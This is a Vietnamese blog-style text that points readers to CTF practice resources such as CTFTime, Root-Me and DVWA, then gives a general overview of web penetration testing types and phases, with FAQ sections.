Các trang web như CTFTime sẽ tổng hợp các sự kiện CTF sắp tới. Đúng như bạn mong đợi tại một sự kiện trực tiếp, nhiều sự kiện trong số này sẽ có tính cạnh tranh rất cao. CTFTime thậm chí còn hiển thị bảng xếp hạng các đội thành công nhất.

Nếu bạn muốn đợi cho đến khi mọi thứ ổn định trở lại, bạn cũng có thể tham gia vào các thử thách solo hack. Trang web Root-Me đưa ra những thử thách đa dạng nhằm kiểm tra giới hạn của các hacker.

Một tùy chọn khác, nếu bạn không ngại tạo môi trường tấn công trên máy tính cá nhân của mình, là Damn Vulnerable Web Application (DVWA). Ứng dụng web này cố tình chứa đầy các lỗi bảo mật, cho phép các hacker có thể kiểm tra kỹ năng của họ một cách an toàn và hợp pháp.

Và đó là tất cả những gì bạn cần biết về cuộc chiến giữa các hacker. Ngoài ra, nếu bạn muốn cải thiện các kỹ năng hack của mình thì có thể đọc bài viết này.

Câu hỏi thường gặp

Hacker có thực sự “chiến đấu” với nhau như trong phim không?

Không hẳn. Trong phim, các cuộc tấn công mạng thường được miêu tả rất kịch tính và nhanh chóng. Trên thực tế, quá trình này phức tạp hơn nhiều, đòi hỏi sự tỉ mỉ và kiên nhẫn để tìm hiểu hệ thống mục tiêu trước khi tiến hành khai thác lỗ hổng.

Capture the Flag (CTF) là gì?

CTF là các cuộc thi lập trình an ninh mạng, nơi các hacker cạnh tranh để giải quyết các thử thách bảo mật. Có hai loại chính: Đội Đỏ (tấn công) và Đội Xanh (phòng thủ), hoặc chỉ tập trung vào tấn công mà không có phòng thủ.

Tôi có thể thực hành kỹ năng hack an toàn ở đâu?

Có nhiều nguồn tài nguyên trực tuyến để bạn thực hành, bao gồm các cuộc thi CTF trực tuyến như CTFTime và Root-Me, hoặc các ứng dụng web dễ bị tổn thương như Damn Vulnerable Web Application (DVWA).

Sự gia tăng tỷ lệ các cuộc tấn công mạng mỗi năm cũng cho thấy vào cuối năm 2021, cứ 11 giây lại có một doanh nghiệp bị tấn công.

Một trong những cách thích hợp nhất để bảo mật một trang web là thực hiện các kỹ thuật bảo mật toàn diện như kiểm tra thâm nhập web (web pentest). Thông qua bài viết này, mình sẽ cho bạn biết mọi thứ liên quan đến web pentester.

Kiểm thử thâm nhập Website là gì?

Mục đích của Kiểm thử thâm nhập Website là để xác định các rủi ro và lỗ hổng trong hệ thống. Những lỗ hổng này, nếu không được kiểm soát, có thể đe dọa tới sự bảo mật của toàn hệ thống.

Kiểm thử thâm nhập Website có thể được thực hiện nội bộ hoặc thuê các hacker mũ trắng để thực hiện một loạt các cuộc tấn công nhằm vào hệ thống của họ nhằm tìm ra điểm yếu trong hệ thống. Việc xác định các điểm yếu và lỗ hổng trong hệ thống thông qua hacker mũ trắng có thể giúp bạn thu thập thông tin về cách hacker tấn công hệ thống bảo mật của bạn.

Các dữ liệu bị lộ lọt dưới bất kỳ hình thức nào (có thể là thông tin cá nhân hoặc thông tin khách hàng) có thể khiến công ty của bạn gặp rắc rối. Đây là lý do tại sao việc kiểm thử thâm nhập web định kỳ rất quan trọng.

Các hình thức kiểm thử thâm nhập

Kiểm thử thâm nhập Website có thể được chia thành các loại khác nhau dựa trên cách tiếp cận của nó. Các loại kiểm thử thâm nhập khác nhau yêu cầu thông tin khác nhau để tiến hành.

Trên cơ sở thông tin có sẵn:

• Black-box pentest: bạn sẽ đóng vai là Hacker mũ đen, và tìm cách tiếp cận hệ thống để khai thác từ các lỗi bạn phát hiện ra được.
• White-box pentest: Hoạt động theo hướng ngược lại của Black-box pentest, bạn được cấp quyền truy cập hoàn toàn vào mã nguồn, tài liệu… Và tìm kiếm lỗ hổng dựa trên những thông tin mà nhân viên của công ty có được. Ví dụ như quyền truy cập vào Windows, Login Website…
• Grey-box pentest: Bạn được cung cấp 1 ít thông tin về hệ thống, và từ đó sẽ tìm cách tấn công hoặc kiểm tra lỗi Website

Trên cơ sở các yêu cầu của trang web. Có năm loại web pentest dựa trên các yêu cầu của trang web:

1. Kiểm thử thâm nhập của mạng nội bộ và khai thác
2. Kiểm thử thâm nhập của mạng không dây
3. Kiểm thử Social engineering
4. Kiểm thử thâm nhập dữ liệu đám mây (Cloud)
5. Kiểm thử thâm nhập vật lý

Phương pháp Kiểm thử thâm nhập Website

Quá trình kiểm thử thâm nhập web bao gồm năm giai đoạn:

1. Lên kế hoạch & tìm kiếm thông tin từ nguồn côn gkhai

Bước đầu tiên của Kiểm thử thâm nhập Website là thu thập thông tin. Trong bước này, pentester sẽ cố gắng tìm ra các thông tin như phiên bản CMS, Hệ điều hành máy chủ,.. Giai đoạn này cũng bao gồm việc xác định phạm vi và yêu cầu của bài test.

Các công cụ phổ biến nhất được các Pentesters sử dụng cho giai đoạn này là Nmap, Harvester, Zenmap (phiên bản GUI của Nmap),…

2. Phân tích code

Sau khi xác định phạm vi, giai đoạn tiếp theo liên quan đến việc quét code. Bước này sẽ giúp bạn hiểu cách trang web sẽ phản ứng với các nỗ lực tấn công.

• Phân tích code tĩnh: Được thực hiện để kiểm tra code nhằm xác định hành vi của code trong khi chạy ứng dụng.
• Phân tích code động: Được thực hiện để kiểm tra mã trong khi ứng dụng đang hoạt động. Điều này cung cấp một đánh giá thực tế hơn về code.

3. Giành quyền truy cập

Trong giai đoạn này, Pentester sử dụng các CVE (mã lỗi lỗ hổng bảo mật đã được công bố công khai) đã biết để phát hiện các lỗ hổng tiềm ẩn của mục tiêu. Sau khi phát hiện ra lỗ hổng, Pentester sau đó sẽ khai thác lỗ hổng được tìm thấy bằng cách cố gắng đánh cắp dữ liệu, leo thang đặc quyền,…

Đây là 10 công cụ khai thác lỗ hổng bảo mật các chuyên gia hay sử dụng để khai thác lỗi bảo mật.

4. Duy trì quyền truy cập

Giai đoạn này sẽ xác minh xem liệu các lỗ hổng được tìm thấy trong bước trước có thể được sử dụng để duy trì quyền truy cập vào trang web của bạn hay không. Mục đích chính của giai đoạn này là cài backdoor, up shell vào trang web khi quá trình tấn công đã hoàn tất.

5. Phân tích

Giai đoạn cuối cùng của kiểm thử thâm nhập web là phân tích các kết quả được tìm thấy trong các bước trước đó và báo cáo chi tiết quá trình web pentest:

• Các sơ hở và lỗ hổng được tìm thấy trong quá trình thử nghiệm
• Các mối đe dọa của lỗ hổng này có thể gây ra với hệ thống
• Đánh giá dữ liệu nhạy cảm
• Thời gian Pentester có thể khai thác các lỗ hổng này mà không bị phát hiện

Trên đây quá trình mà các web pentester thực hiện để kiểm tra hệ thống của bạn. Tham gia nhóm Discord để có thể trao đổi với các web pentester khác nhé.

Câu hỏi thường gặp

Kiểm thử thâm nhập Website (Pentest) có thực sự cần thiết không?

Hoàn toàn cần thiết! Trong bối cảnh tội phạm mạng gia tăng, pentest giúp chủ động phát hiện và khắc phục lỗ hổng bảo mật trước khi hacker tấn công, bảo vệ dữ liệu và danh tiếng của doanh nghiệp.

Có những loại kiểm thử thâm nhập nào?

Có nhiều loại, dựa trên mức độ thông tin được cung cấp cho người kiểm thử: Black-box (không có thông tin), White-box (có đầy đủ thông tin), và Grey-box (có một phần thông tin). Ngoài ra còn phân loại dựa trên mục tiêu kiểm tra (mạng nội bộ, không dây, dữ liệu đám mây…).

Sau khi pentest, tôi sẽ nhận được gì?

Bạn sẽ nhận được một báo cáo chi tiết về các lỗ hổng bảo mật được phát hiện, mức độ nghiêm trọng, rủi ro tiềm ẩn, và khuyến nghị khắc phục cụ thể, giúp bạn tăng cường bảo mật website hiệu quả.